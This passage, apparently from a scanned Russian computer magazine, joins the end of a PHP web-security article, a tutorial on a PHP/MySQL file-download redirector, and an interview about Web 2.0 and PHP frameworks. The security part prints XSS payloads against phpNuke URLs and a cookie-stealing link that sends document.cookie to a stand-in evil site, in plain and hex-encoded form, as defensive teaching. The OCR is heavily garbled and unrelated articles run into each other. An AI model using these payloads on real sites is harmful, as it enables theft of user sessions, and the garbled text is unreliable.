ешь переменную через форму методом РОЗТ, а 
кто-то переопределяет ее с помощью GET’a, обой- 
дя клиентскую проверку (если такая имелась). 
Еще один пример: с помощью того же GET’a кто- 
то переопределяет какую-либо одноименную гло- 
бальную переменную твоей скриптины, от кото- 
рой, может быть, зависит многое и даже больше. 


cross site 
scripting (xss) 


Сейчас очень распространен класс атак под об- 
щим названием «межсайтовый скриптинг» (Сго$$ 
Site Scripting) — Х$$. Самое научно-популярное 
из его проявлений — кража и порча пользова- 
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примеры 
уязвимостей 


ВОТ НЕСКОЛЬКО ПРИМЕРОВ PHP-NUKE, 
ОПУБЛИКОВАННЫХ В СЕТИ. ВСЕ ПРИ- 
МЕРЫ, КАК МОЖНО ЗАМЕТИТЬ, ОТНО- 
СЯТСЯ К РАЗРЯДУ «КЛАССИЧЕСКИХ». 


WWW.PHPNUKE.ORG/USER.PHP?0P=US- 
ERINFO&UNAME=&LTSCRIPT&GTA- 
LERT(DOCUMENT.COOKIE);</SCRIPT> 


WWW.PHPNUKE.ORG/MODULES.PHP?NA- 
ME=DOWNLOADS&D_OP=VIEWDOWNLO- 
ADDETAILS&LID=02&TTITLE=[JAVASCRIPT] 


WWW.PHPNUKE.ORG/MODULES.PHP?NA- 
ME=DOWNLOADS&D_OP=RATEDOWNLO- 
AD&LID=118&TTITLE=[JAVASCRIPT] 


WWW.PHPNUKE.ORG/MODU- 
LES.PHP?0P=MODLOAD&NAME=MEM- 
BERS_LIST&FILE=INDEX&LETTER=[JA- 
VASCRIPT] 


тельских Cookies, аккаунтов и изменение пользо- 
вательских настроек. 

Принцип работы межсайтового скриптинга 
основан на внедрении злонамеренного кода в 
HTML-kog страницы, что приводит к tuj выполне- 
нию на машине жертвы. Если атакующий получит 
возможность вставить произвольный НТМ!-код, 
то он сможет управлять отображением web-cTpa- 
ницы с правами самого сайта. 
> пример. Файл test.php принимает один па- 
раметр (пате) и выводит его на страницу. 


Получаем еще один простой способ выполнить на 
сервере произвольный код. 

Х$$-атакам особо подвержены \ммеБ-блоги, 
форумы и гостевые книги, на многих из которых 
разрешено вводить ]з-код. Код же вполне спосо- 


ОБЯЗАТЕЛЬНА 
ДВУСТОРОННЯЯ 
ПРОВЕРКА ВВОДИМЫХ 
ДАННЫХ: НА СТОРОНЕ 
КЛИЕНТА И НА СТОРОНЕ 
СЕРВЕРА 
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бен забрать cookie в TOT момент, когда пользова- 
тель спокойно просматривает страницу, и отпра- 
вить ее злоумышленнику. Таким способом можно 
добраться и до cookie администратора. Так что, 
если ты разрабатываешь сайт, использующий со- 
okie, не забывай, что существует возможность 
украсть cookie пользователей сайта, и принимай 
соответствующие меры — нужно защищать своих 
пользователей. 

Частенько злоумышленник крадет cookie 
пользователя, оставив где-нибудь на форуме сай- 
та ссылку на некоторую страницу этого же сайта, 
перекодировав «нехорошую» часть URL’a в НЕХ- 
код. Эта ссылка покажется пользователю обыч- 
ной, подвоха он не заметит, а данные мигом пе- 
решлются куда не надо. 
> транслируй.Чтобы не чувствовать себя орга- 
низатором бесплатной раздачи чужих приватных 
данных, просто-напросто никогда не доверяй дан- 
ным, полученным от пользователя (знакомое пра- 
вило?) и всегда фильтруй метасимволы. Так ты 
предотвратишь большинство Х$$-атак. Трансли- 
руй ‘<’и ‘>’ в ‘&№; и ‘&gt;’, ‘(‘и‘)’ — в '&#40} и ‘8&#41} 
и не пренебрегай переводом “ и ‘& в аналогич- 
ные им ‘&#35’ (#) and ‘&#38’ (&). Плюс перестань 
думать, что такие атаки случаются редко и ты ни- 
когда не будешь иметь дело с ними. 

Многие используют в своих проектах какие- 
либо модули с открытым кодом, будь то свободно 
распространяемые форумы или даже СМ$’ки. 
Помни, что системы с закрытым кодом взламыва- 
ют потихоньку, методом проб и ошибок, а найти 
слабые места в открытой системе намного проще. 
Единственная рекомендация, которая напрашива- 
ется по этому поводу, — следить за новостями на 
сайте производителя используемого продукта, за 
релизами и вовремя ставить заплатки. Заботься о 
своей системе © 


http://web.archive.org/web/20041 111044016/www.pe- 
terbailey.net/fValidate — js-6u6nvotexa fValidate 
для проверки данных на клиентской стороне 


пример 
ловушки 


В АЗСИ ССЫЛКА НА СТРАНИЦУ 
С XSS-QbIPON ВЫГЛЯДИТ СЛЕДУЮЩИМ 
ОБРАЗОМ: 


HTTP://TEST.HOST/TEST.PHP?VAR="><SCRI 
PT>DOCUMENT.LOCATION='HTTP://WWW.EVIL 
SITE.SERVER/CGI-BIN/COOKIE.CGI?’ +DOC- 
UMENT.COOKIE</SCRIPT> 


В HEX OHA ВЫГЛЯДИТ МЕНЕЕ 
УГРОЖАЮЩЕ, ХОТЯ ОНА БОЛЕЕ 
ГРОМОЗДКАЯЯ. МОЖНО ПОДУМАТЬ, ЧТО 
БЫЛА MPO_URLENCODE’EHA КАКАЯ-ТО 
ТЕКСТОВАЯ ПЕРЕМЕННАЯ: 


HTTP://TEST.HOST/TEST.PHP?VAR=%22%3 
E%3C0%73%63%72%69%70%74%3E%64%6F 
%63%75%60%65%6Е%74%2Е%6С%6Е%63 
%61%74%69%6Е%6Е%3074%65%2Е%73%6 
5%72%76%27%68%74%74%70%3А%2Е%2Е 
%77%177%77%2Е%65%76%69%6С%73%69% 
74%65%2Е%73%65%72%769%6С%73%69% 
65%72%27%63%67%69%20%62%69%6Е%2 
2%63%67%6-%68%69%65%2Е%63%67%69 
%327%27%20%28%64%67%63%75%60%65% 
6Е%74%2Е%63%6Е%6Е%68%69%65%30%2. 
F%73%63%72%69%70%74%3E 


ТАКИМ ПРОСТЫМ СПОСОБОМ МОЖНО 
УКРАСТЬ ПОЛЬЗОВАТЕЛЬСКИЕ COOKIES 
И ОТПРАВИТЬ ИХ СКРИПТУ НА 
УДАЛЕННОЙ МАШИНЕ, КОТОРАЯ 
ЗАПИШЕТ ИХ В ЛОГ. 


подведем 
ИТОГИ 


Количество уязвимостей разливается бескрай- 
ним морем, но большинство из них не причинят 
вреда, если ты всегда (всегда!) соблюдаешь нес- 
колько простых правил. 

Не доверяй никаким пользовательским 
© данным! К любым данным, которые прихо- 
дят от пользователя, относись так, как будто они 
содержат злобную бяку, вредную для твоей 
скриптины. Будь одинаково внимателен и к тем 
данным, которые передаются методами POST и 
СЕТ, и к тем, которые содержатся в массиве 
$ СООКЕ, — все это легко подменяют. Про- 
являй бдительность! 


Обязательно отключай на конечных сайтах 
о вывод информации об ошибках. Помни о 
разнице между рабочим проектом и конечным про- 
дуктом. Чтобы не помочь злоумышленнику, не вы- 
води информацию о месте кода, в котором произо- 
шла ошибка, — как минимум, это недальновидно. 

Если на основании пользовательских дан- 
© ных формируется SQL-3anpoc, обязательно 
приводи типы переменных к типам соответствую- 
щих полей таблиц (в примере из статьи — $id = 
(int)$_GET[‘id”]) и экранируй кавычки для пере- 
менных текстового типа. 

Проверяй соответствие вводимых данных 
© нужному тебе формату и на клиентской, и на 
серверной стороне. Поковырявшись с клиентской 
проверкой, сдадутся только самые ленивые, а 
особо дотошные найдут способ обойти ее и будут 
вознаграждены дырявыми РНР-скриптами. 

Не позволяй пользователям встраивать js- 
о скрипты в твои сайты, обрабатывай посту- 
пившие метасимволы. 


журнал уже в 
пролаже — 
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> = чо за система? Конечно, на narod.ru мы раз- 
местим весь нужный софт, так как там дают не- 
ограниченное пространство, а потом напишем хи- 
троумную систему, которая будет лежать на плат- 
ном хостинге. С помощью этой системы любой 
пользователь сможет скачивать выложенные 
файлы, а ссылки будут вести на платный хостинг, 
и они будут выглядеть так: http://site.ru/download/downlo- 
ad.php?id=19_ 


система будет состоять из четырех файлов: 
1 СКРИПТ ДОБАВЛЕНИЯ СОФТА 
(ADD.PHP). 


2 СКРИПТ СКАЧКИ (DOWNLOAD.PHP). 


3 ФОРМА ДЛЯ ДОБАВЛЕНИЯ СОФТА 
(FORM_ADD.PHP). 


4 СКРИПТ, ОТОБРАЖАЮЩИЙ СОФТ, ДО- 
БАВЛЕННЫЙ НАМИ (INDEX.PHP). 


> принцип работы системы очень прост. С по- 
мощью скрипта мы добавляем в таблицу имя сер- 
вера, имя файла и его описание. Скрипт скачки 
просто-напросто выдирает из таблицы данные, со- 
ответствующие номеру id (он передается из скрип- 
та методом СЕТ), и по ним перенаправляет брау- 
зер на софт. 


ОИМ ВЫГОДНЫЙ 


ХОСТИНГ 


УСТРАИВАЕМ 

‚ БЕСПЛАТНОЕ 
ФАИЛОХРАНИЛИЩЕ 
ДЛЯ ПЛАТНОГО 
ХОСТИНГА 


У НАС ЕСТЬ ПЛАТНЫЙ ХОСТИНГ, МЫ 
ПЛАТИМ ЗА НЕГО ПРИМЕРНО ПЯТЬ 
ДОЛЛАРОВ В МЕСЯЦ. КОНЕЧНО, МЕ- 
СТА, ВЫДЕЛЕННОГО СЕРВЕРУ, НЕ ТАК 
МНОГО, КАК ХОТЕЛОСЬ, А ХОЧЕТСЯ 
РАЗМЕСТИТЬ ТАМ ОЙ КАК МНОГО! 
ВЫХОД ЕСТЬ — NAROD.RU 


РОМАН HASH ЛАВРЕНТЬЕВ 
{ha5d5h@mail.ru} 


Система использует базу данных MySQL, так что при- 
коннектимся к мускулу и выполним простой запрос. 


Этим запросом мы создаем таблицу download. По- 
ля и их описания в этой таблице: 


uid — уникальный номер файла; 

file — имя файла; 

server — имя сервера; 

орз — описание файла; 

click — количество скачиваний файла. 


> начинаем кодить. В скрипте form_add.php 
разместится форма добавления нового софта, она 
будет передавать данные скрипту add.php. В каче- 
стве метода отправки данных в ней мы будем ис- 


Начало, Регистриру- Размещаем 
а куда же | > ем бесплат- > на нем весь 
без него НЫЙ ХОСТИНГ нужный 
софт 


С помощью 
скрипта 
form_add.php до- 
бавляем все ссы- 
лки на добавлен- 
ный софт в табли- 
цу download 


SWF 


На главной странице мы делаем запрос Ha из- 

влечение всех записей из таблицы, генерируем 

ссылки на каждый файл и выводим их на экран 
(файл index.php) 


хи 


При клике мышкой на ссылке скрипту downlo- 
ad.php передается параметр id из этой ссылки 


Хи 


Сам же download.php помещает записи из та- 
блицы в массив и перебирает его, пока пара- 
метр id не станет равным числу, которое содер- 
жится в столбце uid текущей записи массива 


№ 


If (id == uid) then 


нет 


Скрипт перенаправляет браузер 

на нужный адрес — пользо- 

ватель рад, скачка Видимо, хакер 

идет подбирает пара- 
метр 


конец 


пользовать СЕТ. Сами данные — это имя сервера, 
имя файла и его описание, то есть в скрипте мы 
напишем следующие поля: 


Например, мы закачали файл linux.rar на сайт 
http://mysite.narod.ru. Отсюда следует, что в поле File 
name должно быть введено linux.rar, а в поле Ser- 
ver name — http://mysite.narod.ru, 

Однако можно и не писать в конце имени 
сервера знак прямого слэша «/». Тогда придется 
добавлять его в скрипте, который помещает все 
данные в таблицу (add.php), то есть вместо этой 
строки (фри = "$server$file";) нужно написать $ри = 
“$server/$file"; (описание скрипта смотри ниже). В 
файле add.php мы соединяемся с базой данных 
MySQL, потом проверяем все передаваемые пара- 
метры на пустые строки и, если все нормально, до- 
бавляем эти переменные в таблицу. Пишем так: 


$host — имя сервера MySQL; 
$user — имя пользователя базы данных; 
$password — пароль этого пользователя. 


Все переменные объявляем в начале скрипта. Да- 
лее выбираем базу данных, в которой лежит соз- 
данная таблица download: 


ь 
п 


$base — в этой переменной хранится имя базы, ее 
также объявляем в начале. 

Затем мы делаем проверку на пустые строки — 
я не буду описывать как (можно посмотреть в ис- 
ходнике на диске). После проверки, если все нор- 
мально, добавляем данные в таблицу: 


= 
a 


В этом скрипте нужно обязательно добавить про- 
верку на расширение закачиваемых файлов, то 
есть скрипт должен фильтровать все файлы с 
расширениями *.php; *.php3;*.html;*.htm и т.д. Од- 
нако если этим скриптом будет пользоваться 
только админ, то и не нужно писать никакую 
фильтрацию. Можно пойти совсем простым путем 
и сделать фильтрование так, чтобы скрипт прини- 
мал только расширение *.гаг, — так будет намно- 
го проще. Ах да! Здесь нужно добавить еще одну 
фильтрацию на спецсимволы в переменных: $#- 
len, $server $орз. 


Теперь рассмотрим стартовую страницу. Ha ней бу- 
дут выводиться ссылки и описания всех добавленных 
файлов. Принцип работы скрипта похож на принцип 
работы предыдущего скрипта. Мы так же соединяем- 
ся с MySQL, только вместо добавления информации 
в таблицу мы извлекаем ее и выводим на экран. 


здесь соединяемся с MySQL 


Теперь возьмем всю информацию из таблицы, то 
есть выполним такой запрос: 


Возникает вопрос: что такое desc? Рассказываю. Это 
нужно для того, чтобы тот файл, который был добав- 
лен последним, являлся первым в списке вывода. 

Далее все просто: мы перебираем весь ар- 
хив и выводим его на нашу страничку: 


При клике на ссылку скрипту download передается 
параметр id, и скрипт выдирает из таблицы всю 
нужную информацию. 

В скрипте download.php, как всегда, соединя- 
емся с MySQL и выполняем точно такой же запрос, 


Стартовая страница 


как и в предыдущем скрипте, но здесь необяза- 
тельно писать desc. Далее снова перебираем весь 
полученный массив и сравниваем переменную $id, 
полученную из стартовой страницы. $res[uid] — это 
уникальные идентификационные номера каждой 
программки. Если они совпадают, то мы увеличи- 
ваем на 1 число, стоящее в таблице в поле click 
(none click отвечает за число скачиваний, если ты 
не забыл) (Потом просто делаем перенаправление 
на адрес, сгенерированный из таблицы (листинг 1). 
> один минус этой системы, заметный не 
всем, — то, что при клике на ссылку появляется 
стандартное окно закачки и внутри него в поле 
«Источник» будет вписан истинный адрес сервера, 
откуда пользователь качает файл. Однако если ис- 
пользуется утилита типа Flash Get, то ты ничего не 
увидишь, кроме имени закачиваемого файла. 

Вот и все. Надеюсь, эта статья заинтересо- 
вала всех тех, кто хочет сэкономить на хостинге. 
Кстати, для хранения софта лучше пользоваться 
бесплатным хостингом млм. 1-ти © 
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О WEB 2.0 МНОГО ГОВОРЯТ, ЕЩЕ 
БОЛЬШЕ ЕГО КРИТИКУЮТ, НО 
ПРАКТИЧНОСТЬ НОВЫХ ТЕХНО- 
ЛОГИЙ ВЕСЬМА НЕОПРЕДЕЛЕННА 
И ПОРОЙ НЕОЧЕВИДНА. КАКУЮ 
ЖЕ ВЫГОДУ ВАШИМ ПРОЕКТАМ 
ПРИНОСИТ WEB 2.0? 


АНТОН СКОРОБОГАТОВ (ТЕХНИЧЕСКИЙ 
ДИРЕКТОР DEFA GRUPPE): Действительно, 
практичность Web 2.0 весьма неопределенна, как 
и само понятие. Для нас это в первую очередь ор- 
ганизация сообщества авторов вокруг проекта. 
Мы передаем управление контентом в руки поль- 
зователей, и уже не нужно содержать большой 
штат редакторов сайта. Также, когда ядро сооб- 
щества создано, требуется меньше усилий по при- 
влечению аудитории — лидеры мнений сами при- 
водят посетителей. 

С технологической стороны, использование AJ- 
АХ-вызовов позволяет нам снизить нагрузку на сер- 
вер при большом количестве запросов в интерак- 
тивных сервисах, например в чатах. Также повыша- 
ется интерактивность и привлекательность серви- 
сов для посетителей, поскольку скорость взаимо- 
действия с сайтом значительно повышается. 


НУЖНЫ ЛИ ВОЗМОЖНОСТИ МЕВ 
2.0 ПРОСТЫМ (В ПОНИМАНИИ 
ОБЫВАТЕЛЯ) САЙТАМ? ИЛИ WEB 
2.0 — УДЕЛ СЛОЖНЫХ ПРОЕК- 
ТОВ, КОТОРЫМ ФИЗИЧЕСКИ НЕ 
ХВАТАЕТ ВОЗМОЖНОСТЕЙ СТА- 
РЫХ ТЕХНОЛОГИЙ? 


АНТОН СКОРОБОГАТОВ: На этот вопрос нель- 
зя ответить однозначно. Важно помнить о бритве 
«Оккама» и не плодить сущностей сверх меры. 
А$$-агрегация, например, может использоваться 
на сайтах любого размера для повышения удоб- 
ства пользования сайтом. С функциями комменти- 
рования дело обстоит немного сложнее, но ис- 
пользование возможно практически на любом 
сайте. В то же время бездумное использование Ja- 
vascript (что часто принимают за концепцию web 
2.0) ни к чему хорошему не приводит, а пользова- 
тели только раздражаются. Всегда нужно держать 
в голове бородатый анекдот: «Вам шашечки или 
ехать?» В последнее время многие меБ-разработ- 
чики стали употреблять Javascript к месту и не к 
месту, в результате некоторыми сайтами практи- 
чески невозможно пользоваться. Яркий пример — 
сайт Dia Awards (www.diawards.ru), 


Для крупных сайтов использование принципов web 
2.0 эффективно, поскольку чем шире сообщество, 
тем активнее приходится применять нестандартные 
методы удержания лояльной аудитории и привле- 
чения новых посетителей. Нужна куча маленьких 
фишечек, которые зацепят пользователя, чтобы он 
уже не расстался с понравившимся ресурсом. 


СУЩЕСТВУЮТ ЛИ СЛОЖНОСТИ В 

ПРОЦЕССЕ ПЕРЕХОДА НА НОВЫЕ 
ТЕХНОЛОГИИ? КОГДА ИСПОЛЬЗО- 
ВАНИЕ WEB 2.0 ОПРАВДАННО? 


АНТОН СКОРОБОГАТОВ: При переходе на но- 
вую технологию сложности присутствуют всегда, и 
эти сложности возникают не на технологическом 
уровне, а на уровне ломки сознания. Необходимо 
доказывать, что применение того или иного мето- 
да оправданно. В результате даже ты сам смо- 
жешь понять, что действительно важно, а от чего 
можно отказаться в пользу скорости разработки 
либо совместимости. 

Использование принципов web 2.0 оправда- 
но в том случае, когда вокруг проекта возможно 
создание сообщества людей, когда информация 
предлагается по методу POP, а не PUSH. Ключе- 
вым игроком в идеологии web 2.0 становится поль- 
зователь, а не сам сайт. 

Но самое интересное начинается тогда, когда 
ты придумываешь новый сервис. Тут простор для 
действий гораздо шире. RSS, API, тагсономия — все 
эти страшные слова идут в оборот и активно исполь- 
зуются на практике. Н о в большинстве случаев сер- 
висы — удел энтузиастов либо крупных компаний. 


НЕ БУДУТ ЛИ ПЛОЩАДКИ, 
РАЗМЕЩАЮЩИЕ У СЕБЯ РАЗ- 
ЛИЧНОГО РОДА РЕКЛАМУ, 
САБОТИРОВАТЬ ВНЕДРЕНИЕ 
НОВШЕСТВ WEB 2.0? ПОЯВИТ- 
СЯ ВОЗМОЖНОСТЬ ПЕРЕГРУ- 
ЖАТЬ ВСЮ СТРАНИЧКУ СРЕД- 
СТВАМИ ТОГО ЖЕ AJAX, 

НЕ ОСТАВЛЯЯ ПРИ ЭТОМ ИН- 
ТЕРАКТИВНОСТЬ, А ПЕРЕЗА- 
ГРУЗКИ — ЭТО ХЛЕБ МНОГИХ 
ПОДОБНЫХ ПЛОЩАДОК. 


АНТОН СКОРОБОГАТОВ: Нет. Google Mail, 
News Alloy и многие другие сервисы прекрасно 
размещают рекламу, не используя перезагрузку 
страницы. Однако же AJAX не является централь- 
ным принципом концепции web 2.0 — это всего 
лишь вспомогательная функция, обеспечивающая 
удобство использования. 

Web 2.0 должен изменять не только способ 
предоставления информации, но и принципы полу- 
чения дохода от сайта, менять представление о 
бизнесе. Есть различные виды рекламы на сайте, 
независимые от перезагрузки страницы. К приме- 
py, intelliTXT от Vibrant Media (www.vibrantmedia.com/si- 


Defa Gruppe — rpynna 
компаний, проектов 

и сообществ людей, 
объединенных общим 
стремлением к иннова- 
ционности. Они участво- 
вали в нескольких про- 
ектах, которые исполь- 
зуют некоторые из 
принципов web 2.0. 
Яркий пример — 
проект «Элементы» 
(www.elementy.ru), цель 
которого — популяриза- 
ция науки. Вокруг этого 
сайта сложилось сооб- 
щество ученых, ведущих 
свои блоги. Другой зна- 
ковый проект Defa Grup- 
ре, содержащий эле- 
менты идеологии web 
2.0, — сообщество Дев- 
чат (www.devchat.ru), 
созданное по заказу 
компании Procter and 
Gamble. Среди личных 
достижений Антона Ско- 
робогатова, с которым 
мы беседовали, созда- 
ние и поддержка рус- 
ского сообщества поль- 
зователей одного из по- 
пулярных движков для 
блогов — Wordpress 
(www.mywordpress.ru). 
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te2005/web_02.html), которая создает спонсорские 
ссылки на основе содержания страницы. 

Впрочем, владельцы сервисов web 2.0 находят 
различные способы получения дохода: и платная 
подписка, и дотации пользователей, и размещение 
спонсорских ссылок. Главное — освободить свое 
сознание от старых принципов и придумать новые. 


ВЫЖИВЕТ ЛИ РНР ПРИ ПОВСЕМЕ- 
СТНОМ РАСПРОСТРАНЕНИИ 
ТЕХНОЛОГИЙ, ПРОИЗВОДНЫХ 

ОТ .МЕТ, И ПОИСКЕ НОВЫХ 
АЛЬТЕРНАТИВ? КАКОВЫ ПЕРС- 
ПЕКТИВЫ РНР В ЭТОМ КРУГОВО- 
РОТЕ НОВШЕСТВ? 


АНТОН СКОРОБОГАТОВ: Microsoft проводит 
широкомасштабную кампанию по переманиванию 
web-nporpammuctos на сторону .МЕТ. Достаточно 
вспомнить тот же Atlas — среду для разработки 
интерактивных приложений. Однако стоимость 
владения windows-cepBepom по-прежнему остает- 
ся слишком высокой для большинства компаний. 
Yahoo отказалась от windows-cepBepoB в пользу 
связки LAMP (Linux + Apache + РНР + MySQL) 
именно из-за высокой стоимости и дороговизны 
обслуживания. МЕТ применим при разработке 
различных внутренних систем, которые тесно ин- 
тегрированы со всей инфраструктурой на базе 
разработок Microsoft. При создании изолированно- 
го сайта .МЕТ проигрывает почти на всех фронтах. 

Также сейчас набирает популярность Fra- 
mework Ruby On Rails, которая позволяет разраба- 
тывать сайты в крайне сжатые сроки. Однако ско- 
рость работы интерпретатора Ruby оставляет же- 
лать лучшего, да и идеология языка значительно 
отличается от привычной, поэтому пока лишь нем- 
ногие российские РНР-программисты переходят 
на Ruby. На Западе уже появилось сообщество 
программистов, которые пропагандируют исполь- 
зование Ruby для создания сайтов. 

Zend тоже не стоит на месте. Недавно вышла 
ргемем-версия Zend Framework (http://framework. 
zend.com), которая обещает стать стандартом в сре- 
де меб-разработчиков. За основу Zend Framework 
был взят PEAR, но он основательно переделан, 
учитывая особенности пятой версии языка. Если 
будет обеспечена интеграция с Zend Studio, то 
конкурентоспособность РНР поднимется на высо- 
кий уровень. 


В КАКИХ СЛУЧАЯХ И КАКИЕ 
СРЕДЫ РАЗРАБОТКИ БЕРУТСЯ 
ЗА ОСНОВУ? 


АНТОН СКОРОБОГАТОВ: Выбор Framework по- 
хож на выбор жены: серьезно и надолго. Быстрое 
переключение между различными фреймворками 
практически невозможно. Среди наиболее перс- 
пективных на данный момент фреймворков для 
РНР хотел бы отметить Symfony (www.symfony-pro- 
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ject.com), Разработчики этой среды используют 
принципы Ruby Оп Rails, и framework очень быстро 
развивается. Написание собственных проектов на 
ней экономит много времени и удобно. Ключевым 
понятием становится идея, а не кодинг. 

Как я уже отмечал, Zend Framework обещает 
стать промышленным стандартом для РНР-разра- 
ботчиков, однако на текущий момент она еще 
очень сырая и ее использование связано с вы- 
сокими рисками. Мы в студии используем fra- 
mework собственной разработки, поскольку реше- 
ние специфичных задач требует глубокого пони- 
мания ядра системы. И это является нашим глав- 
ным критерием. Естественно, мы используем мно- 
жество свободно распространяемых компонентов, 
поскольку это уменьшает скорость разработки, но 
их объединение во framework лежит на плечах Ha- 
ших программистов. 


НАСКОЛЬКО ОПРАВДАН РУЧНОЙ 
ТРУД? ЕСТЬ ЯРЫЕ СТОРОННИКИ 
ТОГО ЖЕ MACROMEDIA DRE- 
AMWEAVER И БОЛЕЕ АВТОМАТИ- 
ЗИРОВАННОЙ ОБРАБОТКИ КОН- 
ТЕНТА, А ЕСТЬ И ТЕ, КТО 
УБЕЖДАЕТ ОСТАЛЬНЫХ: «НЕ 
БЫВАЕТ НИЧЕГО КАЧЕСТВЕН- 
НЕЕ, ЧЕМ РАБОТА РУЧКАМИ». 
ГДЕ ЖЕ ЗОЛОТАЯ СЕРЕДИНА? 


АНТОН СКОРОБОГАТОВ: Да, когда-то одним 
из показателей «крутости» меб-разработчиков 
была строка в резюме «верстка HTML в блокно- 
те». Те времена давно прошли. В условиях совре- 
менной конкуренции на рынке невозможно не 
пользоваться средствами rapid development (бы- 
строй разработки). С другой стороны, такие сред- 
ства часто используют бездумно, надеясь на то, 
что программа все стерпит. 

Компромисс заключается не в выборе 
средств разработки, а в понимании общих прин- 
ципов: человек, который начал программировать 
на РНР не в блокноте, а в Zend Studio, должен 
прежде всего изучить основы языка и програм- 
мирования, а затем приступать к разработке соб- 
ственных проектов. 

Как и большинство российский РНР-про- 
граммистов, я начинал свою деятельность с уста- 
новки Apache, РНР и MySQL по инструкции Дми- 
трия Котерова. Сейчас же для ускорения процесса 
я использую (и всем советую) готовые пакеты 
WAMP (Windows + Apache + РНР + MySQL), просто 
потому что это значительно ускоряет процесс. To 
же самое можно сказать и о редакторах, в которых 
пишется код. Можно использовать блокнот для на- 
писания кода, но это далеко не оптимально. 
Необходимо использовать полноценные среды 
разработки, такие как Zend Studio. Нужно помнить, 
что программы — лишь инструмент, который в 
умелых руках может творить чудеса, а в неумелых 
будет бесполезным. 


Офис Defa Gruppe 


ЕЩЕ ОДИН ИНТЕРЕСНЫЙ MO- 
МЕНТ — ОТСУТСТВИЕ ДОСТА- 
ТОЧНО ЦИВИЛИЗОВАННОГО РЫН- 
КА МЕВ-ДИЗАЙНА. ПРОЦВЕТАЮТ 
МНОГИЕ ФИРМЫ -ОДНОДНЕВКИ, 

У КОТОРЫХ НЕТ НИ ЕДИНЫХ 
ЦЕН, НИ ПОНИМАНИЯ ПРАВИЛЬ- 
НОГО \МЕВ-ДИЗАЙНА. ИМ ЭТО 
НЕВЫГОДНО? 


АНТОН СКОРОБОГАТОВ: Совсем не так. Ры- 
нок меб-дизайна есть, и он достаточно цивилизо- 
ван, на нем существуют полноценные бренды с 
историей и репутацией. «Правильного \ме-дизай- 
на» тоже не существует: «web» — это технология, 
а «дизайн» — это творчество. Если необходимо 
соблюдать технологии, то в творчестве стандарта 
быть не может, поэтому разные компании исполь- 
зуют разные идеологии меб-дизайна и пропаган- 
дируют их. И это очень хорошо, ведь мы не хотим, 
чтобы все сайты были как в армии — одинаковы- 
ми и по уставу? 

Главное — понимать, что далеко не все зака- 
зывают \меб-дизайн отдельно от меб-разработки. 
Большинство заказчиков хотят получить комплекс- 
ное решение с гарантией соблюдения сроков и ка- 
чества работ. Такой сервис, разумеется, можно по- 
лучить только в полноценной компании, имеющей 
за плечами опыт не одного десятка успешных про- 


ектов. Помимо фактических навыков (талант дизай- 
неров, компетентность программистов), крупные 
игроки рынка имеют свои «ноу-хау» по эффективно- 
му ведению проектов. В таких вопросах качество 
менеджмента и слаженность взаимодействия раз- 
личных специалистов играет ключевую роль. 


ПИРАТСТВО ИДЕЙ И КОНТЕНТА 
ПРОЦВЕТАЕТ. ЕСТЬ ЛИ ДЕЙСТВЕННЫЕ 
СПОСОБЫ СНИЗИТЬ РИСК ВОРОВ- 
СТВА ИДЕЙ И ТЕХНОЛОГИЙ? 


АНТОН СКОРОБОГАТОВ: Это не имеет смы- 
сла. Интернет — открытая система. Он предназна- 
чен для обмена идеями и контентом. Один из 
принципов web 2.0 — как раз отсутствие централь- 
ного узла предоставления информации. Информа- 
ция свободна — необходимо помнить об этом. 

В России невозможно защитить идеи, и, по-мое- 
му, это очень здорово. В США патентное право разре- 
шает регистрацию идеи, но разработчики сайтов ново- 
го поколения не делают этого, потому что считают 
регистрацию бессмысленной. Хорошая идея продви- 
нет себя сама, и копирование пойдет только на руку 
родителям идеи. Уже существуют проекты, которые 
реализуют функциональность digg.com и del.icio.us, одна- 
ко пионеры остаются лидерами по количеству посеще- 
ний. Главное — «взломать» рынок, привлечь как мож- 
но большее пользователей, которые, соответственно, 


попадают в более сложную ситуацию, так как они уже 
сделали свой выбор и стали лояльной аудиторией. 

В области контента ситуация складывается 
примерно так же. Информация в интернете устаре- 
вает очень быстро, поэтому тот, кто предоставляет 
информацию раньше всех, выигрывает и привле- 
кает максимальное количество посетителей. 

Еще одна тенденция — разделение на про- 
изводителей контента и площадки для размеще- 
ния. RSS делает информацию свободной, и я, на- 
пример, уже не захожу на многие сайты, а лишь 
читаю заголовки новостей в своем Н$$-ридере, 
определяя, интересно мне что-то или нет. Прорыв 
совершит тот, кто предложит эффективный и про- 
стой способ размещения рекламы в В$$-лентах. 


ЧТО ПОСОВЕТУЕШЬ ПО ВЫБОРУ 
CMS? КАК ВЫБИРАТЬ И НА ЧТО 
ОРИЕНТИРОВАТЬСЯ? ТЕ, КТО 
УМЕЮТ ПРОГРАММИРОВАТЬ, 
ОБЫЧНО ПИШУТ CMS САМОСТОЯ- 
ТЕЛЬНО. ОСТАЛЬНЫЕ ОПРЕДЕЛЯ- 
ЮТ ОТЛИЧИЯ ПО ВЕСЬМА 
СУБЪЕКТИВНЫМ КРИТЕРИЯМ. 


АНТОН СКОРОБОГАТОВ: Действительно, посе- 
тителям сайта абсолютно безразлично, на какой 
CMS работает сайт: человек обращает внимание 
прежде всего на содержание. Администраторам 


сайта, в принципе, тоже совершенно не важно, на 
какой СМ$ построен сайт — главное, чтобы она пре- 
доставляла интерфейсы управления, удобные для 
администрирования конкретно этого сайта. Вот по- 
чему разработчику логичнее всего выбирать СМ$ с 
точки зрения того, соответствуют ли возможности 
системы задачам сайта. Благо выбор богатый среди 
и платных, и бесплатных CMS. Из бесплатных я бы 
отметил Drupal, потому что он имеет богатые воз- 
можности именно по управлению контентом, весьма 
гибок при расширении сайта и собрал активное со- 
общество. Среди платных коробочных систем лиде- 
ром является «Битрикс». Эта СМ$ постоянно совер- 
шенствуется, а компания-разработчик внимательно 
относится к поддержке пользователей. 

Разработчики, которые создали с нуля и под- 
держивают свою собственную СМ$, имеют опреде- 
ленные организационные «плюсы». Конечно, под- 
держивать собственную СМ$ в актуальном состоя- 
нии и вкладываться в ее развитие могут позволить 
себе только крупные компании, имеющие свою ста- 
бильную нишу на рынке. Зато такие компании пол- 
ностью контролируют внутреннее устройство систе- 
мы, могут дорабатывать ее под любые интересные 
тенденции и нужды клиентов. Подобные системы не 
содержат лишнего, могут гибко подстраиваться под 
пожелания клиентов и удобны с точки зрения разра- 
ботчиков. Именно в рамках таких систем проще все- 
го создавать новые сервисы модели web 2.0. 
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Если заинтересовался, 


можешь заказать любую 


книгу из обзора (по ра- 
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3YMHbIM ценам), не отры- 


вая пятой точки от дива- 


на или стула, в букини- 
стическом интернет-ма- 
газине «0$-книга» 
(www.osbook.ru). Книги 
для обзора мы берем 
